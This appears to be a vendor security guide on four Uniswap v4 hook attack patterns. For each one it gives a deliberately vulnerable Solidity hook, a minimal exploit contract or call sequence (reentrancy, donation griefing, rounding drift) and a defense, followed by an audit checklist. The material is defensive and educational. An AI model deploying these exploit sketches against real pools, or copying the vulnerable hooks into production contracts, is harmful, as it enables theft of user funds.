Uniswap v4 hook attacks: 4 exploit patterns with PoCs

Shipping a Uniswap v4 hook? Start with a fast pre launch pass in Krait, then request a scoped audit quote for the manual review. This guide breaks down the four hook attack patterns behind every public v4 exploit, each with the smallest viable vulnerable function and the smallest viable exploit.

The trust boundary moved

Pattern 1: reentrancy via beforeSwap / afterSwap

The minimal vulnerable function

1contract RewardHook is BaseHook {
2    mapping(address => uint256) public rewards;
3    IERC20 public immutable rewardToken;
4
5    function _afterSwap(
6        address sender,
7        PoolKey calldata,
8        SwapParams calldata,
9        BalanceDelta delta,
10        bytes calldata
11    ) internal override returns (bytes4, int128) {
12        uint256 reward = _calculateReward(delta);
13
14        // Interaction BEFORE effect: the classic CEI failure.
15        rewardToken.transfer(sender, reward);
16        rewards[sender] += reward;
17
18        return (BaseHook.afterSwap.selector, 0);
19    }
20}

The minimal exploit

1contract ReentrantAttacker {
2    IPoolManager pm;
3    PoolKey key;
4    uint256 hits;
5
6    function tokensReceived(address, address, uint256, bytes calldata) external {
7        if (hits < 5) {
8            hits++;
9            pm.unlock(abi.encode(SwapAction(key, 1e18)));
10        }
11    }
12
13    function unlockCallback(bytes calldata data) external returns (bytes memory) {
14        SwapAction memory a = abi.decode(data, (SwapAction));
15        pm.swap(a.key, SwapParams(true, int256(a.amount), MIN_SQRT_PRICE + 1), "");
16        // settle deltas...
17        return "";
18    }
19}

The defense

1modifier nonReentrant() {
2    require(_locked == 1, "Reentrant");
3    _locked = 2;
4    _;
5    _locked = 1;
6}
7
8function _afterSwap(...) internal override nonReentrant returns (bytes4, int128) {
9    uint256 reward = _calculateReward(delta);
10    rewards[sender] += reward;          // effect first
11    rewardToken.transfer(sender, reward); // interaction last
12    return (BaseHook.afterSwap.selector, 0);
13}

Pattern 2: permission/flag bypass

1function hasPermission(IHooks self, uint160 flag) internal pure returns (bool) {
2    return uint160(address(self)) & flag != 0;
3}

The minimal vulnerable function

1contract ProtocolFeeHook is IHooks {
2    // Implements afterSwap but does NOT inherit BaseHook
3    // and does NOT mine AFTER_SWAP_RETURNS_DELTA_FLAG into the address.
4
5    function getHookPermissions() public pure returns (Hooks.Permissions memory p) {
6        p.afterSwap = true;
7        p.afterSwapReturnDelta = true; // declared in struct, NOT in address bits
8    }
9
10    function afterSwap(
11        address, PoolKey calldata, SwapParams calldata, BalanceDelta, bytes calldata
12    ) external returns (bytes4, int128) {
13        return (IHooks.afterSwap.selector, int128(protocolFee));
14    }
15}

The minimal exploit

• All swaps revert (flag set, no function).
• Critical hook logic is silently skipped (function set, no flag).
• The hook reverts on a specific lifecycle event the operator never tested for.

The defense

1abstract contract BaseHook is IHooks, ImmutableState {
2    constructor(IPoolManager _manager) ImmutableState(_manager) {
3        validateHookAddress(this);
4    }
5
6    function getHookPermissions() public pure virtual returns (Hooks.Permissions memory);
7
8    function validateHookAddress(BaseHook _this) internal pure virtual {
9        Hooks.validateHookPermissions(_this, getHookPermissions());
10    }
11}

Pattern 3: donation griefing and direct-call bypass

The minimal vulnerable function

1contract RebateHook is BaseHook {
2    mapping(PoolId => uint256) public feeGrowthSnapshot;
3
4    function _beforeSwap(
5        address sender, PoolKey calldata key, SwapParams calldata, bytes calldata
6    ) internal override returns (bytes4, BeforeSwapDelta, uint24) {
7        PoolId id = key.toId();
8        uint256 currentFeeGrowth = _poolFeeGrowth(id);
9        uint256 delta = currentFeeGrowth - feeGrowthSnapshot[id];
10
11        // Rebate the swapper proportionally to fee growth accrued since last swap.
12        _payRebate(sender, delta);
13
14        feeGrowthSnapshot[id] = currentFeeGrowth;
15        return (BaseHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, 0);
16    }
17}

The minimal exploit

1// Attacker calls PoolManager.donate directly, then swaps a dust amount.
2pm.unlock(abi.encode(GriefAction(key)));
3
4function unlockCallback(bytes calldata data) external returns (bytes memory) {
5    GriefAction memory g = abi.decode(data, (GriefAction));
6    // Inflate fee growth without going through the hook.
7    pm.donate(g.key, 100e18, 100e18, "");
8    // Trigger the hook's snapshot logic with a dust swap.
9    pm.swap(g.key, SwapParams(true, 1, MIN_SQRT_PRICE + 1), "");
10    // ...settle deltas, collect rebate.
11}

The defense

• Implement beforeDonate that updates feeGrowthSnapshot so donations cannot inflate the next swap's rebate, or
• Implement beforeDonate that always reverts, locking the pool to in-flow donations.

Pattern 4: custom-accounting drift

The minimal vulnerable function

1contract HookFeeHook is BaseHook {
2    uint256 public constant FEE_BPS = 100; // 1%
3
4    function _beforeSwap(
5        address, PoolKey calldata, SwapParams calldata params, bytes calldata
6    ) internal override returns (bytes4, BeforeSwapDelta, uint24) {
7        // Exact-input swap: amountSpecified is negative.
8        int128 specifiedAmount = int128(params.amountSpecified);
9        int128 absAmount = specifiedAmount < 0 ? -specifiedAmount : specifiedAmount;
10
11        // BUG: rounds toward zero. On every swap, the hook keeps slightly less
12        // than 1%, so the swapper receives slightly more than they should.
13        int128 fee = (absAmount * 100) / 10000;
14
15        return (
16            BaseHook.beforeSwap.selector,
17            toBeforeSwapDelta(fee, 0),  // fee on specified token, none on unspecified
18            0
19        );
20    }
21}

The minimal exploit

1// Multicall 10,000 swaps of a size chosen to maximize the rounding leak.
2// Each swap pays effectively less than the intended 1% fee.
3// At Bunni-scale, the leak is the entire protocol.
4for (uint i = 0; i < 10000; i++) {
5    pm.unlock(abi.encode(SwapAction(key, OPTIMAL_AMOUNT)));
6}

The defense

1. Round in the pool's favor on every direction. Write the fee formula to round up on the input side and round down on the output side. Add a test that asserts the hook is at least as solvent after each swap as before, for every combination of (zeroForOne, exactInput).
2. Treat the LDF and any custom curve as a separate audit scope. Bunni was audited and still shipped a critical rounding bug. Custom curves require differential testing against a reference AMM, property-based fuzzing of the curve's invariants, and ideally formal proofs that every state transition preserves solvency.
3. Explicit clear() on dust. Any path where the hook holds a non-zero residual balance and does not explicitly settle it is a DoS vector at best and a value leak at worst.

A real exploit walk-through: Cork Protocol, $12M

• Pattern 2. onlyPoolManager was missing. The hook was callable by anyone.
• Pattern 3. The hook trusted hookData from the caller and used it to drive cross-market state changes. Even with onlyPoolManager, if the trust-but-don't-verify on hookData had remained, the attack might have routed through a malicious pool. The combination is what made it cheap.

Audit checklist, ordered by realized loss

1. Does every external hook function carry onlyPoolManager (or equivalent)? The Cork exploit is one missing modifier. ($12M.)
2. Does the hook track state that can be modified by a PoolManager entrypoint not covered by an enabled before* hook? OpenZeppelin's audit of the Uniswap Foundation's LiquidityPenaltyHook found a critical of exactly this shape; the fix was adding beforeAddLiquidity to the permissions. ($8.4M paid by Bunni in a different but adjacent class; the LiquidityPenaltyHook bug was caught pre-deployment.)
3. Do all custom-accounting deltas round in the pool's favor across every combination of swap direction and exact-input/exact-output? Bunni's rounding direction error was the entire root cause. ($8.4M.)
4. Does the hook inherit BaseHook (v4-periphery or OpenZeppelin), so that the address bits are validated against getHookPermissions() in the constructor? Hand-rolled hooks consistently produce flag/function mismatches.
5. Are external calls inside hook callbacks protected by both checks-effects-interactions and an explicit reentrancy guard on the hook itself? The PoolManager's lock does not protect the hook's state.
6. Is PoolKey validated to constrain the hook to a known set of pools, currencies, and fee tiers? Certora's Doppler review found a critical (C-01) where insufficient pool key validation made a coordinator contract drainable.
7. Is dust accumulation explicitly handled with clear()? Guardian Audits' Gamma V4 Limit Orders review (H-01) found a dust-based DoS.
8. If any inline assembly handles dynamic ABI-encoded parameters, is the calldata offset actually fixed? The z0r0z V4 Router lost $42K because a fixed assembly offset assumption did not hold for non-canonical ABI encoding. Hook-adjacent rather than hook-internal, but the same pattern recurs in custom router and aggregator code wrapping hooks.

What this all adds up to

Get a Uniswap v4 hook review before mainnet

FAQ: Uniswap v4 hook attacks

Glossary